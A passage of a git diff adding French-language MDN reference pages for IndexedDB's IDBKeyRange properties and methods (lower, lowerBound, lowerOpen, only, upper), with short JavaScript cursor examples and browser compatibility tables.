+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">monIntervalle.lower;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La borne inférieure de l'intervalle de clé (qui peut être d'un type quelconque).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on voit comment utiliser un intervalle de clé. On déclare <code>keyRangeValue = IDBKeyRange.upperBound("F", "W", true, true);</code> — ce qui correspond à intervalle qui inclut tout ce qui se trouve entre "F" et "W" mais pas ces valeurs (l'intervalle est « ouvert »). Ensuite, on ouvre une transaction grâce à {{domxref("IDBTransaction")}}, un magasin d'objet et un curseur grâce à {{domxref("IDBObjectStore.openCursor")}} pour lequel on déclare que <code>keyRangeValue</code> est l'intervalle de clé optionnel.</p>
+
+<p>Après avoir déclaré l'intervalle de clé, on affiche la valeur de la propriété <code>lower</code> dans la console (ce qui doit donner "F").</p>
+
+<pre class="brush: js">function displayData() {
+  var keyRangeValue = IDBKeyRange.bound("F", "W", true, true);
+  console.log(keyRangeValue.lower);
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments ont été affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-lower', 'lower')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/lowerbound/index.html b/files/fr/web/api/idbkeyrange/lowerbound/index.html
new file mode 100644
index 0000000000..d3c5299ad4
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/lowerbound/index.html
@@ -0,0 +1,178 @@
+---
+title: IDBKeyRange.lowerBound()
+slug: Web/API/IDBKeyRange/lowerBound
+tags:
+  - IDBKeyRange
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBKeyRange/lowerBound
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>lowerBound()</code></strong>, rattachée à l'interface  {{domxref("IDBKeyRange")}}, crée un intervalle de clé avec une borne inférieure.</p>
+
+<p>Par défaut, la borne est inclue dans l'intervalle (autrement dit, il est fermé à gauche).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">IDBKeyRange.lowerBound(borne);
+IDBKeyRange.lowerBound(borne, ouvert);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>borne</code></dt>
+ <dd>La valeur de la borne inférieure pour l'intervalle.</dd>
+ <dt><code>ouvert {{optional_inline}}</code></dt>
+ <dd>Ce booléen indique si l'intervalle est ouvert à gauche (autrement dit, s'il vaut <code>false</code> la borne est inclue et s'il vaut <code>true</code> la borne n'est pas inclue dans l'intervalle).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBKeyRange")}} qui correspond à l'intervalle de clé créé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une exception {{domxref("DOMException")}} de type <code>DataError</code> lorsque la valeur passée en paramètre n'est pas une clé valide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on illustre comment créer un intervalle de clé avec une borne inférieure, on utilise <code>keyRangeValue = IDBKeyRange.lowerBound("F", false);</code> — cela permet de créer un intervalle qui contient "F" et les valeurs inférieures. On ouvre ensuite une transaction grâce à {{domxref("IDBTransaction")}}) puis un magasin d'objet et un curseur avec la méthode {{domxref("IDBObjectStore.openCursor")}} à laquelle on associe l'intervalle de clé <code>keyRangeValue</code>.</p>
+
+<p>Si on a avait utilisé <code>IDBKeyRange.lowerBound("F", true);</code>, "F" n'aurait pas fait partie de l'intervalle.</p>
+
+<pre class="brush: js">function displayData() {
+  var keyRangeValue = IDBKeyRange.lowerBound("F");
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments sont affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-lowerBound-IDBKeyRange-any-lower-boolean-open', 'lowerBound()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/loweropen/index.html b/files/fr/web/api/idbkeyrange/loweropen/index.html
new file mode 100644
index 0000000000..e8cbe37164
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/loweropen/index.html
@@ -0,0 +1,164 @@
+---
+title: IDBKeyRange.lowerOpen
+slug: Web/API/IDBKeyRange/lowerOpen
+tags:
+  - API
+  - IDBKeyRange
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBKeyRange/lowerOpen
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>lowerOpen</code></strong>, rattachée à l'interface {{domxref("IDBKeyRange")}}, renvoie un booléen qui inidque si l'intervalle est ouvert pour la borne inférieure (autrement dit, le booléen est vrai lorsque la borne n'est pas incluse et est faux sinon).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myKeyRange.lowerOpen;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un booléen qui indique si l'intervalle est ouvert pour la borne inférieure (<code>true</code> si c'est le cas (la borne n'est pas incluse), <code>false</code> sinon).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on voit comment utiliser un intervalle de clé. On déclare <code>keyRangeValue = IDBKeyRange.upperBound("F", "W", true, true);</code> — c'est-à-dire un intervalle qui inclue tout ce qui se trouve entre "F" et "W" mais qui n'inclue pas ces bornes (l'intervalle est « ouvert »). Ensuite, on ouvre une transaction grâce à {{domxref("IDBTransaction")}} puis on ouvre un magasin d'objet et un curseur grâce à {{domxref("IDBObjectStore.openCursor")}}. La valeur <code>keyRangeValue</code> est utilisée comme intervalle de clé pour ce curseur.</p>
+
+<p>Après avoir déclaré l'intervalle de clé, on affiche la valeur de la propriété <code>lowerOpen</code> dans la console. Ici, la valeur de la propriété est <code>true</code> car l'intervalle est ouvert pour la borne supérieure et la borne inférieure qui ne sont donc pas comprises dans l'intervalle.</p>
+
+<pre class="brush: js">function displayData() {
+  var keyRangeValue = IDBKeyRange.bound("F", "W", true, true);
+  console.log(keyRangeValue.lowerOpen);
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments ont été affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-lowerOpen', 'lowerOpen')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/only/index.html b/files/fr/web/api/idbkeyrange/only/index.html
new file mode 100644
index 0000000000..1f645d2dcf
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/only/index.html
@@ -0,0 +1,175 @@
+---
+title: IDBKeyRange.only()
+slug: Web/API/IDBKeyRange/only
+tags:
+  - API
+  - IDBKeyRange
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBKeyRange/only
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>only()</code></strong>, rattachée à l'interface {{domxref("IDBKeyRange")}}, permet de créer un nouvel intervalle de clé qui ne contient qu'une valeur.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myKeyRange = IDBKeyRange.only(valeur);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur dans l'intervalle de clé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet {{domxref("IDBKeyRange")}} correspondant à l'intervalle de clé qui vient d'être créé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception {{domxref("DOMException")}} du type <code>DataError</code> lorsque la valeur passée en argument n'est pas une clé valide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on illustre comment utiliser un intervalle de clé qui ne contient qu'une seule clé. On déclare un intervalle qui ne contient que la valeur "A" avec <code>keyRangeValue = IDBKeyRange.only("A");</code> Ensuite, on ouvre une transaction grâce à {{domxref("IDBTransaction")}} puis un magasin d'objets et un curseur grâce à la méthode {{domxref("IDBObjectStore.openCursor")}} pour laquelle on passe <code>keyRangeValue</code> en argument. Cela signifie que le curseur permettra uniquement de récupérer les enregistrements dont la clé vaut "A".</p>
+
+<pre class="brush: js">function displayData() {
+  var keyRangeValue = IDBKeyRange.only("A");
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments sont affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-only-IDBKeyRange-any-value', 'only')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/upper/index.html b/files/fr/web/api/idbkeyrange/upper/index.html
new file mode 100644
index 0000000000..7424dce142
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/upper/index.html
@@ -0,0 +1,164 @@
+---
+title: IDBKeyRange.upper
+slug: Web/API/IDBKeyRange/upper
+tags:
+  - API
+  - IDBKeyRange
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBKeyRange/upper
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>upper</code></strong>, rattachée à l'interface {{domxref("IDBKeyRange")}}, renvoie la borne supérieure de l'intervalle de clé.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">monIntervalle.upper;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La borne supérieure de l'intervalle de clé (qui peut être d'un type quelconque).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on voit comment utiliser un intervalle de clé. On déclare <code>keyRangeValue = IDBKeyRange.upperBound("F", "W", true, true);</code> — ce qui correspond à intervalle qui inclut tout ce qui se trouve entre "F" et "W" mais pas ces valeurs (l'intervalle est « ouvert »). Ensuite, on ouvre une transaction grâce à {{domxref("IDBTransaction")}}, un magasin d'objet et un curseur grâce à {{domxref("IDBObjectStore.openCursor")}} pour lequel on déclare que <code>keyRangeValue</code> est l'intervalle de clé optionnel.</p>
+
+<p>Après avoir déclaré l'intervalle de clé, on affiche la valeur de la propriété <code>upper</code> dans la console (ce qui doit donner "W").</p>
+
+<pre class="brush: js">function displayData() {
+  var keyRangeValue = IDBKeyRange.bound("F", "W", true, true);
+  console.log(keyRangeValue.upper);
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments ont été affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-upper', 'upper')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
